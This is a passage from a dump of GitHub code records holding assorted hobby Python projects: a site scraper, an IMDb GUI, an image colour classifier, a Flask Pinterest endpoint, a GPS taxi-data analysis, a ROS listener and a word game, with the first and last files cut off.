eachDateAndModel.getparent().getparent().getparent().getparent()\n # print(FourUp)\n par = FourUp.xpath('.//*[@class=\"p1\"]')[0]\n summary = par.text_content()\n print(summary)\n\n hasMovieLink = False\n movieUrl = \"\"\n # Lets Find a link if it exists.\n allLinks = FourUp.xpath('.//a')\n for eachLink in allLinks:\n movieUrl = eachLink.get(\"href\")\n if \"http://www.societysm.com/updates\" in movieUrl:\n siteID = movieUrl.split(\"/\")[-2]\n print(\"{}\".format(movieUrl))\n print(\"{}\".format(siteID))\n hasMovieLink = True\n \n if hasMovieLink:\n moviePage = requests.get(movieUrl)\n movieTree = html.fromstring(moviePage.content)\n titleTag = movieTree.xpath('//td[@class=\"heading\"]')[0]\n titleTagText = titleTag.text_content()\n if 'Preview for \"' in titleTagText:\n movieTitle = titleTagText.split('Preview for \"')[1].split('\"')[0]\n print(movieTitle)\n # sleep(5)\n \n print(\"\\n\")\n\n # print(len(dateAndModel))\n # for link in allLinks: \n # urlOfLink = link.get(\"href\")\n # textOfLink = link.text_content()\n # if \"http://www.societysm.com/updates\" in urlOfLink:\n # print(urlOfLink)\n # print(textOfLink)\n # vid = movie()\n\n # siteURL = \"http://www.societysm.com\"\n # lets find a perMovie url\n # postUrl = eachVideo.xpath('//*[@id=\"updates\"]/tbody/tr/td/table[*]/tbody/tr/td/table[4]/tbody/tr/td[1]/a')#[0].get(\"href\")\n\n # uniqueVidUrl = siteURL+postUrl\n # # print(uniqueVidUrl)\n # uniquePage = requests.get(uniqueVidUrl)\n # uniquePageTree = html.fromstring(uniquePage.content)\n # mainPartOfPage = uniquePageTree.xpath('//table[@class=\"articleWrapper\"]')[0]\n \n # # Find Title and Actress(es)\n # for x in mainPartOfPage.xpath('*//span[@class=\"articleTitleText\"]'):\n # # print(x.text_content())\n # innerTextSplit = x.text_content().split(\"|\")\n # vid.title = innerTextSplit[0].strip()\n # # print(innerTextSplit)\n # for eachActor in innerTextSplit[1:]:\n # vid.actors.append(eachActor.strip())\n # # Find Date of Video\n # uglyDate = mainPartOfPage.xpath('*//span[@class=\"articlePostDateText\"]')[0].text_content()\n # vid.date = parse(uglyDate)\n\n # # Find Summary:\n # for x in mainPartOfPage.xpath('*//*[@class=\"articleCopyText\"]'):\n # # print(x.text_content())\n # vid.summary = x.text_content()\n \n # # Find Tags:\n # try:\n # tagBlock = uniquePageTree.xpath('//*[@class=\"articleTagsText\"]')[0].text\n # strippedBeginning = tagBlock[5:]\n # seperatedByCommas = strippedBeginning.replace(\"\\t\", \"\").replace(\"\\n\", \"\").split(\", \")\n # AllTags = []\n # for eachTag in seperatedByCommas:\n # AllTags.append(eachTag.strip())\n # # print(\"block: \",AllTags)\n # vid.tags = AllTags\n # except :\n # pass\n \n # # Find All Images:\n # allPhotos = mainPartOfPage.xpath('*//img')\n # # print(allPhotos)\n # for x in allPhotos:\n # url = x.get(\"src\")\n # if \"poster.jpg\" in url:\n # # print(url)\n # vid.mainImage = url\n # else:\n # fullSizeImage = x.getparent().get(\"href\")\n # if \"images\" in fullSizeImage:\n # vid.images.append(fullSizeImage)\n \n # vid.site = siteURL\n\n # movies.append(vid)\n return movies\n\n\nstartURL = 'http://www.societysm.com/updates07/updates{}.html'\nstartIndex = 1\nendIndex = 1\nmovies = []\nfor x in range(startIndex,endIndex+1):\n eachSetOfMovies = parseSocietySmPage(startURL.format(x))\n # for eachMovie in eachSetOfMovies:\n # requests.get(eachMovie.createAddMovieUrl())\n movies+= eachSetOfMovies\n # time.sleep(8)\nprint(movies)\n","repo_name":"strumica/PornParsers","sub_path":"SocietySM.py","file_name":"SocietySM.py","file_ext":"py","file_size_in_byte":5314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71343051985","text":"from tkinter import *\nfrom imdb import IMDb\n\n\nia = IMDb()\nroot = Tk()\nroot.geometry(\"500x700\")\n\n\n# stuff for movie text input\n# prints movie text when search button is pressed\n\nsearchLabel = Label(root,text=\"Movie:\")\nsearchLabel.place(x=0,y=2)\n\nmovieInput = StringVar(root)\nmovieText = Text(root, height = 1, width = 50)\nmovieText.place(x=45,y=5)\n\nprint(movieInput.get())\nsearchResults = Listbox(root,width=40)\nsearchResultsID = []\ndef searchButtonPress():\n movieInput.set(movieText.get(\"1.0\",\"end\").replace('\\n',''))\n searchIA = ia.search_movie(movieInput.get())\n print(movieInput.get())\n val=1\n for i in searchIA:\n movie1 = ia.get_movie(i.movieID)\n print(movie1['title'], movie1['year'],i.movieID)\n searchResults.insert(val, movie1['title']+\" \"+ str(movie1['year']))\n searchResultsID.append(i.movieID)\nsearchButton = Button(root, text=\"Search\",command=searchButtonPress)\nsearchButton.place(x=405,y=0)\n\n\n#list of movies found in imdb search using provided input movie\n#selected movie currently printed\n\ndef searchResultSelected(event):\n selection = event.widget.curselection()\n if selection:\n index = selection[0]\n data = event.widget.get(index)\n #label.configure(text=data)\n print(data)\n print(searchResultsID[index])\n else:\n #label.configure(text=\"\")\n print(\"\")\n#searchResults = Listbox(root,width=40)\n'''\nsearchResults.insert(1, \"The Matrix (1999)\")\nsearchResults.insert(2, \"The Matrix (2016) (Short)\")\nsearchResults.insert(3, \"The Matrix (2004) (Short)\")\nsearchResults.insert(4, \"The Matrix Reloaded (2003)\")\nsearchResults.insert(5, \"The Matrix Revolutions (2003)\")\nsearchResults.insert(6, \"The Matrix Revisited (2001) (Video)\")\n'''\nsearchResults.place(x=45,y=30)\nsearchResults.bind(\"<>\", searchResultSelected)\n\n\n\n#radio buttons\nreccMovies = Label(root,text=\"Suggestions:\")\nreccMovies.place(x=0,y=210)\nselection=\"\"\ndef radioSel():\n #selection = \"You selected option \" + str(var.get())\n selection = str(var.get()+\":\")\n radioButtonSelection.config(text = selection)\nn=0\nvar = IntVar()\nR1 = Radiobutton(root, text = \"The Matrix Reloaded\", variable = var, value = 1,\n command = radioSel)\nR1.place(x=45,y=235+n)\nn+=30\nR2 = Radiobutton(root, text = \"The Matrix Revolutions\", variable = var, value = 2,\n command = radioSel)\nR2.place(x=45,y=235+n)\nn+=30\nR3 = Radiobutton(root, text = \"The Matrix Revisited\", variable = var, value = 3,\n command = radioSel)\nR3.place(x=45,y=235+n)\nn+=30\nR4 = Radiobutton(root, text = \"The Dark Knight\", variable = var, value = 4,\n command = radioSel)\nR4.place(x=45,y=235+n)\nn+=30\nR5 = Radiobutton(root, text = \"Inception\", variable = var, value = 5,\n command = radioSel)\nR5.place(x=45,y=235+n)\nn+=30\nR6 = Radiobutton(root, text = \"Batman Begins\", variable = var, value = 6,\n command = radioSel)\nR6.place(x=45,y=235+n)\nn+=30\nR7 = Radiobutton(root, text = \"The Animatrix\", variable = var, value = 7,\n command = radioSel)\nR7.place(x=45,y=235+n)\nn+=30\nR8 = Radiobutton(root, text = \"The Lord of the Rings: The Fellowship of the Ring\", variable = var, value = 8,\n command = radioSel)\nR8.place(x=45,y=235+n)\nn+=30\nR9 = Radiobutton(root, text = \"The Dark Knight Rises\", variable = var, value = 9,\n command = radioSel)\nR9.place(x=45,y=235+n)\nn+=30\nR10 = Radiobutton(root, text = \"Blade Runner\", variable = var, value = 10,\n command = radioSel)\nR10.place(x=45,y=235+n)\nn+=30\n\nradioButtonSelection = Label(root)\nradioButtonSelection.place(x=45,y=535)\n\n\n#movie description\n\nmovieDesc = Text(root, height = 5, width = 50)\nmovieDesc.insert(INSERT, \"A thief who steals corporate secrets through the use of dream-sharing technology is given the inve-rse task of planting an idea into the mind of a C.E.O.\")\nmovieDesc.place(x=45,y=565)\n\n\nroot.mainloop()","repo_name":"kylom147/cs351","sub_path":"newgui.py","file_name":"newgui.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35566223519","text":"import numpy as np\nfrom PIL import Image\nfrom skimage import io, color\nfrom skimage import io, color\nimport numpy as np\nfrom sklearn.neighbors import KNeighborsClassifier\nimport time\nclass Predict():\n def __init__(self):\n cyan = np.array([76.0693, -0.5580, 1.3615])\n red = np.array([52.2540, 34.8412, 21.3002])\n purple = np.array([69.4695, 42.4732, -23.8880])\n dr = np.array([37.8424, 24.5503, 25.9396])\n lr = np.array([69.4695, 28.4947, 13.3940])\n lp = np.array([76.0693, 24.3246, -9.7749])\n bk = np.array([37.8424, 3.9632, 20.5874])\n gy = np.array([61.6542, 5.7160, 3.7317])\n w = np.array([70.9763, 10.9843, 8.2952])\n ye = np.array([56.681, 9.5539, 24.4546])\n X = [cyan, red, purple, dr, lr, bk, gy, w, ye]\n y = ['cyan', 'red', 'purple', 'dr', 'lr', 'bk', 'gy', 'w', 'ye']\n neigh = KNeighborsClassifier(n_neighbors=1, weights='distance', metric=\"euclidean\")\n neigh.fit(X, y)\n self.neigh = neigh\n self.res = {}\n def averagePixel(self,input):\n input_img = Image.open(input, 'r').convert(\"RGB\")\n input_img = np.asarray(input_img)\n input_img = color.rgb2lab(input_img)\n \n height, width, dim = input_img.shape\n input_img = input_img.reshape(width * height, dim)\n total = width*height\n clr = np.array([0.0, 0.0, 0.0])\n count = 0\n \n temp = {'cyan': [], 'red': [], 'purple': [], 'dr': [], 'lr': [], 'bk': [], 'gy': [], 'w': [],\n 'ye': []}\n for key, value in temp.items():\n temp[key] = np.zeros((height, width, 3))\n lab = []\n x=0\n print(width*height)\n for i in input_img:\n if abs(i[0]) > 1 and abs(i[1]) > 1 and abs(i[2]) > 1:\n# clr += i\n count += 1\n lab.append([i[0],i[1],i[2]])\n res = self.predictPixel([i[0],i[1],i[2]])\n if res in self.res.keys():\n self.res[res] += 1\n else:\n self.res[res] = 0\n temp[res][int(x / width)][x-(width*int(x/width))] = [i[0],i[1],i[2]]\n x+=1\n for x in self.res.keys():\n self.res[x] = self.res[x] / count\n io.imsave('./tmp/ext/{}.png'.format(x), color.lab2rgb(temp[x]))\n lab = np.array(lab)\n l = np.median(lab[:,0])\n a = np.median(lab[:,1])\n b = np.median(lab[:,2])\n# avgpixel = clr / count\n# return avgpixel\n return self.res, [l,a,b]\n def predictPixel(self,avgpixel):\n res = self.neigh.predict([avgpixel])\n return res[0]\n\n def predict(self,input):\n start = time.time()\n avgPixel,lab = self.averagePixel(input)\n end = time.time()\n print(f\"Runtime of classification is {end - start}\")\n return avgPixel,lab,self.predictPixel(lab)\n","repo_name":"seishino/TongueColorClassificationSystem","sub_path":"prediction/Predict.py","file_name":"Predict.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"25278318457","text":"from crontab import CronTab\nfrom rest_framework import serializers\n\nfrom crons.models import Cron\n\n\nclass CronSerializer(serializers.ModelSerializer):\n class Meta:\n model = Cron\n fields = \"__all__\"\n\n def validate_expression(self, value):\n if value:\n cron = CronTab().new()\n try:\n cron.setall(value)\n except (KeyError, ValueError) as e:\n raise serializers.ValidationError(e)\n return value\n","repo_name":"andreipradan/mainframe","sub_path":"backend/crons/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38360425991","text":"from processes import ATM\r\n\r\nprint(\"create an account: \")\r\nsession1 = ATM(\"DEFAULT\", \"0000\", 00000)\r\nsession1.setData()\r\n\r\ni = input(\"Enter pin: \")\r\nif i == session1.pin:\r\n print(\"login succesful\")\r\n\r\n while(True):\r\n button = str(input('''Press: \\n1 to: check account \\n2 to: cash Withdraw \\n3 to: change pin \\n'''))\r\n\r\n if button == '1':\r\n session1.showData()\r\n print(\" \")\r\n\r\n elif button == '2':\r\n amount = int(input(\"Withdrawal amount: \"))\r\n session1.withDraw(amount)\r\n\r\n elif button == '3':\r\n session1.changePin()\r\n\r\n\r\nelse:\r\n print(\"Pin does not match\")","repo_name":"Radil-Mahbub/ATM","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6510591959","text":"import cv2\nfrom keras.models import load_model\nimport numpy as np\nimport time\nmodel = load_model('keras_model.h5')\n\n\ndef camera_loop():\n global cap\n cap = cv2.VideoCapture(0)\n data = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32)\n now = time.time()\n timer = 0\n while True:\n end = time.time()\n timer = (end - now)\n\n ret, frame = cap.read()\n resized_frame = cv2.resize(frame, (224, 224), interpolation = cv2.INTER_AREA)\n image_np = np.array(resized_frame)\n normalized_image = (image_np.astype(np.float32) / 127.0) - 1 # Normalize the image\n data[0] = normalized_image\n global prediction \n prediction = model.predict(data)\n cv2.imshow('frame', frame)\n # Press q to close the window\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n # Timer closes window after 5 seconds\n if timer >= 5:\n break\n\ndef run_model():\n camera_loop()\n cap.release()\n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n run_model() \n\n","repo_name":"Adamcules/Computer_Visualisation_Project","sub_path":"modified_model_download_code.py","file_name":"modified_model_download_code.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1714596484","text":"from __future__ import division\nfrom tools import connector\n\nimport math\n\nMIN_LENG = 2 # minumum number of shared elements\nCLUSTER_ELEMENTS = 10 # number of documents part of a cluste\n\n\n\n\ndef get_cluster(doc_url_name):\n \"\"\" Function create the cluster of the N document using the euclidean distance\n\n Args:\n doc_url_name\n\n Returns:\n the dictionary with the cluster of the N documents\n \"\"\"\n cluster = {}\n euc_distance = {}\n\n data1 = connector.mongo_find(doc_url_name)\n vect1 = data1['most_freq_stem_words_wn']\n documents = connector.mongo_all(1000)\n for i in documents:\n if documents[i] != doc_url_name:\n data2 = connector.mongo_find(documents[i])\n vect2 = data2['most_freq_stem_words_wn']\n if vect2 !='':\n dist = _euc(vect1,vect2)\n if dist['score'] != 'NULL':\n euc_distance[documents[i]] = dist\n\n cluster = sorted(euc_distance.items(),key=lambda x: x[1]['score'])[:CLUSTER_ELEMENTS]\n\n return dict(cluster)\n\n\n\n\ndef _euc(diz1,diz2):\n \"\"\" Function returns the euclidean distance between two dictionries\n\n Args:\n diz1 and diz2\n\n Resturs:\n a score based on the euclidean distance \n \"\"\"\n euc_dist = {}\n keys1 = diz1.keys()\n keys2 = diz2.keys()\n k_inter = (set(keys1) & set(keys2))\n if len(k_inter) >= MIN_LENG:\n dist = math.sqrt(sum((diz1[k] - diz2[k])**2 for k in k_inter))\n score = dist/(len(keys1)+len(keys2))\n else:\n score = 'NULL'\n\n euc_dist['intersection'] = list(k_inter)\n euc_dist['score'] = score\n\n return euc_dist\n\n","repo_name":"gdamdam/sumo","sub_path":"tools/clusterizer.py","file_name":"clusterizer.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"48"} +{"seq_id":"43336151412","text":"from flask import Flask, request\nfrom pinterest import Pinterest\n\napp = Flask(__name__)\n\n@app.route('/pinterestpin', methods=['POST'])\ndef pin_to_pinterest():\n url = request.form.get('url')\n message = request.form.get('message')\n image_file = request.files.get('image')\n\n # Pinterest API credentials\n client_id = 'your_client_id'\n client_secret = 'your_client_secret'\n access_token = 'your_access_token'\n\n # Create a Pinterest API client\n pinterest = Pinterest(client_id=client_id, client_secret=client_secret, access_token=access_token)\n\n # Upload image to Pinterest\n image_url = pinterest.upload_pin_image(image_file)\n\n # Create pin\n pin_data = {\n 'board': 'your_board_id', # Replace with your board ID\n 'note': message,\n 'link': url,\n 'image_url': image_url,\n }\n\n response = pinterest.create_pin(**pin_data)\n\n if response['status'] == 'success':\n return 'Pin successful!'\n else:\n return 'Error occurred while pinning to Pinterest.'\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"sarthakganguly/share2All","sub_path":"pinterestpin.py","file_name":"pinterestpin.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"34514745644","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import animation\n\nclass Car:\n def __init__(self):\n self.names = ['粤B000H6', '粤B542T0', '粤B544C2', '粤B555S3', '粤B568W9', '粤B574U3', '粤B604U0', '粤B694E1', '粤B0703D',\n '粤B712S3', '粤B726F2', '粤B755A7', '粤B789Z3', '粤B795E2', '粤B797A1', '粤B805E0', '粤B813E1', '粤B834W7',\n '粤B854R7', '粤B864W2']\n self.time = []\n self.jd = []\n self.wd = []\n self.status = [] # 0代表空载,1代表重载\n self.v = [] # 车速\n self.angle = [] # 方向\n self.number = 0\n\n def read_file(self, num): # 一辆车\n file = open(\"D:\\\\大二小学期\\\\python学习\\\\大作业2-车辆轨迹数据\\\\\" + self.names[num] + \".txt\", \"r\") # 读入文件\n text = file.readlines()\n ss = []\n for i in range(1, len(text)):\n line = text[i].strip('\\n')\n ss = line.split(',')\n self.time.append(ss[1])\n self.jd.append(eval(ss[2]))\n self.wd.append(eval(ss[3]))\n self.status.append(ss[4])\n self.v.append(ss[5])\n self.angle.append(ss[6])\n self.number += 1\n file.close()\n\n def mat_draw(self):\n x = self.jd\n y = self.wd\n fig = plt.figure()\n ax1 = fig.add_subplot(1, 1, 1)\n ax1.set_title('Shenzhen\\'s road map')\n ax1.set_xlabel('Longitude')\n ax1.set_ylabel('latitude')\n ax1.scatter(x, y, s=1, c='k') # 绘制数据点\n plt.xlim(xmax=114.25, xmin=113.8) # x轴范围\n plt.ylim(ymax=22.75, ymin=22.47) # y轴范围\n plt.show()\n\n def get_date(self):\n date = []\n h = []\n m = []\n for i in range(self.number): # 条目数\n date_time = self.time[i].split(' ')\n date.append(int(date_time[0].split('/')[2])) # 取某一天\n\n time = date_time[1] # 取时间\n h_m_s = time.split(':')\n h.append(int(h_m_s[0]))\n m.append(int(h_m_s[1]))\n\n return date, h, m\n\n def average_t(self):\n vs = 0\n vnum = 0\n d, h, m = self.get_date() # 获取时间日期\n for i in range(self.number):\n if d[i] == 18:\n if (m[i] >= 30 and h[i] == 8) or (m[i] <= 30 and h[i] == 9):\n vs += int(self.v[i])\n vnum += 1\n if vnum != 0:\n print('第3辆车平均速度为 %.2f km/h'% (vs / vnum))\n else:\n print(\"该车18号没有移动\")\n\n def mean_var_median(self):\n days = [18, 19, 20, 21, 22, 23, 24, 25]\n lake = [0, 0, 0, 0, 0, 0, 0, 0]\n\n d, h, m = self.get_date()\n sum = 0\n for i in range(self.number):\n if 18 <= d[i] <= 25:\n if self.status[i] == '1' and self.status[i + 1] == '0':\n lake[d[i] - 18] += 1\n\n for i in range(8):\n print(\"{}日拉客人数{}人次\".format(days[i], lake[i]))\n sum += lake[i]\n print(\"均值{}\".format((np.mean(lake))))\n print(\"方差{}\".format(np.var(lake)))\n print(\"中位数{}\".format(np.median(lake)))\n\n def histogram(self):\n lake = [0, 0, 0, 0, 0, 0, 0, 0]\n hours = ['0H', '3H', '6H', '9H', '12H', '15H', '18H', '21H'] # 组距\n\n d, h, m = self.get_date()\n\n for i in range(self.number):\n if d[i] <= 20:\n if d[i] == 20:\n if self.status[i] == '1' and self.status[i + 1] == '0':\n lake[h[i] // 3] += 1\n else:\n continue\n else:\n break\n fig, ax = plt.subplots()\n\n ax.bar(hours, lake, 0.5)\n plt.show()\n\n def density(self, num):\n\n position = np.zeros(shape=(23, 17), dtype=int)\n\n time_s = np.zeros(48, dtype=int)\n\n if num == 5:\n for i in range(self.number):\n x = int((self.jd[i] - 113.788513) // 0.03)\n y = int((self.wd[i] - 22.468666) // 0.03)\n position[x][y] = position[x][y] + 1\n\n for i in range(self.number):\n if eval(self.v[i]) <= 15:\n temp_time = int(self.time[i][11:13]) * 2 + int(self.time[i][14:16]) // 30\n time_s[temp_time] += 1\n else:\n continue\n\n elif num == 6:\n for i in range(self.number):\n if i + 1 != self.number:\n if self.status[i] != self.status[i + 1]:\n x = int((self.jd[i] - 113.788513) // 0.03)\n y = int((self.wd[i] - 22.468666) // 0.03)\n position[x][y] = position[x][y] + 1\n else:\n print(\"Wrong!\")\n\n max = np.max(position)\n p = np.where(position == max)\n max_time = np.max(time_s)\n t = np.where(time_s == max_time)\n\n h = t[0][0] // 2\n m = 30 * (t[0][0] % 2)\n h_n = (t[0][0] + 1) // 2\n m_n = 30 * ((t[0][0] + 1) % 2)\n print(\"最拥堵的时间段是 {}时{}分 - {}时{}分\".format(h, m, h_n, m_n))\n\n jd_min = 113.788513 + 0.03 * p[0][0]\n jd_max = 113.788513 + 0.03 * (p[0][0] + 1)\n jd_cent = (jd_max + jd_min) / 2\n wd_min = 22.468666 + 0.03 * p[1][0]\n wd_max = 22.468666 + 0.03 * (p[1][0] + 1)\n wd_cent = (wd_max + wd_min) / 2\n print(\"密度最大的区域是 \\n纬度 {:.3f} - {:.3f}\\n经度 {:.3f} - {:.3f}\".format(wd_min, wd_max, jd_min, jd_max))\n print(\"中心点是 {:.3f} {:.3f}\".format(wd_cent, jd_cent))\n\n fig = plt.figure()\n ax1 = fig.add_subplot(111)\n\n x = self.jd\n y = self.wd\n\n ax1.set_title('Road Profile Map of Shenzhen')\n ax1.set_xlabel('Longitude')\n ax1.set_ylabel('latitude')\n ax1.scatter(x, y, s=1, c='k', marker='.', )\n\n plt.xlim(xmax=114.25, xmin=113.8)\n plt.ylim(ymax=22.75, ymin=22.47)\n if num == 5:\n plt.gca().add_patch(plt.Rectangle((jd_cent, wd_cent), 0.03, 0.03, fill=False, edgecolor='r', linewidth=2))\n elif num == 6:\n plt.gca().add_patch(plt.Rectangle((jd_cent, wd_cent), 0.03, 0.03, fill=False, edgecolor='g', linewidth=2))\n else:\n print(\"Wrong!\")\n plt.show()\n\n def draw_route(self, num):\n file = open(\"D:\\\\大二小学期\\\\python学习\\\\大作业2-车辆轨迹数据\\\\\" + self.names[num] + \".txt\", \"r\")\n print(\"\\033[31m[INFO]\\033[0m{}文件名为: \".format(num + 1) + self.names[num])\n text = file.readlines()\n x = []\n y = []\n v = []\n number = 0\n for i in range(1, len(text)):\n line = text[i].strip('\\n')\n ss = line.split(',')\n if '2011/04/18 06:30' <= ss[1] <= '2011/04/18 09:30':\n x.append(eval(ss[2]))\n y.append(eval(ss[3]))\n # self.status.append(ss[4])\n v.append(eval(ss[5]))\n # self.angle.append(ss[6])\n number += 1\n print(\"\\r得到{}个点\".format(number), end='')\n file.close()\n if number != 0:\n print('\\n')\n fig = plt.figure()\n ax1 = fig.add_subplot(1, 1, 1)\n plt.grid(True) # 添加网格\n plt.pause(3)\n\n for i in range(len(x) - 1):\n print(\"\\r正在绘制第{}个点\".format(i + 1), end='')\n plt.cla()\n # 设置标题\n ax1.set_title('Road Profile Map of Shenzhen')\n ax1.set_xlabel('Longitude')\n ax1.set_ylabel('latitude')\n # 动态调整界面大小\n plt.xlim(xmax=np.max(x[:i + 1]) + 0.005, xmin=np.min(x[:i + 1]) - 0.005)\n plt.ylim(ymax=np.max(y[:i + 1]) + 0.005, ymin=np.min(y[:i + 1]) - 0.005)\n # ax1.scatter(x[i], y[i], s=1, color='b', marker='.')\n # 动态绘制图形\n # ax1.scatter(self.jd, self.wd, s=1, c='c', marker='.')\n ax1.plot(x[:i + 1], y[:i + 1], color='b')\n # plt.annotate(\"%d km/h\" % v[i], xy=(x[i], y[i]), xytext=(0, 0), fontsize=6, color='m',textcoords=\"offset points\")\n plt.text(x[i], y[i], '%d km' % v[i])\n plt.pause(0.001)\n plt.pause(0)\n else:\n print(\"该司机没有2011/04/18 06:30到2011/04/18 09:30的数据\")\n\n\nif __name__ == \"__main__\":\n\n n = eval((input(\"输入题号:\")))\n\n car = Car()\n if n == 1:\n for i in range(20):\n car.read_file(i)\n car.mat_draw()\n elif n == 2:\n car.read_file(2)\n car.average_t()\n elif n == 3:\n car.read_file(0)\n car.mean_var_median()\n elif n == 4:\n car.read_file(0)\n car.histogram()\n elif n == 5:\n for i in range(20):\n car.read_file(i)\n car.density(5)\n elif n == 6:\n for i in range(20):\n car.read_file(i)\n car.density(6)\n elif n == 7:\n car.draw_route(0)\n","repo_name":"ZLEI-ZL/pythonCode","sub_path":"爬虫/GPS.py","file_name":"GPS.py","file_ext":"py","file_size_in_byte":9149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16516786851","text":"import pytest\nimport numpy as np\n\n## handling the path\nimport os\nimport sys\nsrc_models_train_path = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../..\"))\nsys.path.append(src_models_train_path)\nprint(sys.path)\n\n\nfrom src.models.train import split_into_training_and_testing_sets\n\n# Declare the test class\nclass TestSplitIntoTrainingAndTestingSets(object):\n # Fill in with the correct mandatory argument\n def test_on_one_row(self):\n test_argument = np.array([[1382.0, 390167.0]])\n with pytest.raises(ValueError) as exc_info:\n split_into_training_and_testing_sets(test_argument)\n expected_error_msg = \"Argument data_array must have at least 2 rows, it actually has just 1\"\n assert exc_info.match(expected_error_msg)\n\n def test_on_six_rows(self):\n test_input = np.array([[2081.0, 314942.0],\n [1059.0, 186606.0],\n [1148.0, 206186.0],\n [1506.0, 248419.0],\n [1210.0, 214114.0],\n [1697.0, 277794.0],\n ]\n )\n expected_length_training_set = 4\n expected_length_testing_set = 2\n actual = split_into_training_and_testing_sets(test_input)\n assert actual[0].shape[0] == expected_length_training_set, \\\n \"The actual number of rows in the training array is not 4\"\n assert actual[1].shape[0] == expected_length_testing_set, \\\n \"The actual number of rows in the testing array is not 2\"\n\n# Add a reason for the expected failure\n@pytest.mark.xfail(reason=\"Using TDD, model_test() has not yet been implemented\")\nclass TestModelTest(object):\n def test_on_linear_data(self):\n test_input = np.array([[1.0, 3.0], [2.0, 5.0], [3.0, 7.0]])\n expected = 1.0\n actual = model_test(test_input, 2.0, 1.0)\n message = \"model_test({0}) should return {1}, but it actually returned {2}\".format(\n test_input, expected, actual)\n assert actual == pytest.approx(expected), message\n\n def test_on_one_dimensional_array(self):\n test_input = np.array([1.0, 2.0, 3.0, 4.0])\n with pytest.raises(ValueError) as exc_info:\n model_test(test_input, 1.0, 1.0)\n","repo_name":"KenHung0411/pytest_practical","sub_path":"tests/models/test_train.py","file_name":"test_train.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22170171406","text":"import rospy # ros在python语言中的头文件\r\nfrom std_msgs.msg import String # 消息头文件\r\n\r\nmessage = ''\r\n\r\ndef callback(data):\r\n global message\r\n message = data.data\r\n\r\nif __name__ == '__main__':\r\n rospy.init_node('view_listener', annoymous= True)\r\n rospy.Subscriber('view_data', String, callback)\r\n while message == '':\r\n continue\r\n print(message)\r\n view_message = eval(message)\r\n print(view_message)","repo_name":"cugzzl/simulation","sub_path":"simulation/mainControl/Simulation/view_main.py","file_name":"view_main.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40868859127","text":"\n'''Jumper class holds the status of the jumper and handles the removal of parachute parts. \nContains code for checking guessed letters and stores the word. Passes to director whether the games is over.'''\n\nfrom ctypes.wintypes import WORD\n\n\nclass Jumper():\n def __init__(self, word):\n self.word = word\n self.health = 4\n self._parachute = [\" ___ \", \"/ \\ \" , \" --- \" ,\" \\ / \"]\n self._jumper = [\" O \",\" /|\\ \",\" / \\ \"]\n self.guesses = []\n\n def _make_parachute(self):\n if self._parachute == None:\n print()\n elif self.health == 4:\n for item in self._parachute:\n print(item)\n elif self.health == 3 and len(self._parachute) == 3:\n for item in self._parachute:\n print(item)\n elif self.health == 3:\n self._parachute.pop(0)\n for item in self._parachute:\n print(item)\n elif self.health == 2 and len(self._parachute) == 2:\n for item in self._parachute:\n print(item)\n elif self.health == 2:\n self._parachute.pop(0)\n for item in self._parachute:\n print(item)\n elif self.health == 1 and len(self._parachute) == 1:\n for item in self._parachute:\n print(item)\n elif self.health == 1:\n self._parachute.pop(0)\n for item in self._parachute:\n print(item)\n\n def _make_jumper(self):\n if self.health == 0:\n self._jumper[0] = \" X \"\n for item in self._jumper:\n print(item)\n else:\n for item in self._jumper:\n print(item)\n\n def generate_grid(self):\n self._make_parachute()\n self._make_jumper()\n print()\n print(\"^^^^^^^^^^\")\n print()\n\n def check_letter(self, letter = None):\n if len(letter) == 0:\n pass\n else:\n letter = letter[0].lower()\n if letter in self.guesses:\n print(\"That letter was already guessed.\")\n return\n self.guesses.append(letter)\n if letter not in self.word:\n self.health -= 1\n\n def print_word(self):\n for letter in self.word:\n if letter in self.guesses:\n print(f\" {letter}\", end = \" \")\n else:\n print(\"_\", end = \" \")\n print()\n\n def check_word_guessed(self):\n for char in self.word:\n if char.lower() not in self.guesses:\n return False\n return True\n\n def check_alive(self):\n return self.health > 0\n\n def check_active(self):\n if self.check_word_guessed():\n return False\n else:\n return self.check_alive()\n","repo_name":"OWBrony/cse210-03","sub_path":"Jumper.py","file_name":"Jumper.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34755363374","text":"import os\nimport sys\nimport colorsys\nimport math\nimport random\nfrom pymongo import MongoClient\nfrom dotenv import load_dotenv\n\n\nCOLORS = [\n (\"AliceBlue\", (240, 248, 255)),\n (\"AntiqueWhite\", (250, 235, 215)),\n (\"Aqua\", (0, 255, 255)),\n (\"Aquamarine\", (127, 255, 212)),\n (\"Azure\", (240, 255, 255)),\n (\"Beige\", (245, 245, 220)),\n (\"Bisque\", (255, 228, 196)),\n (\"Black\", 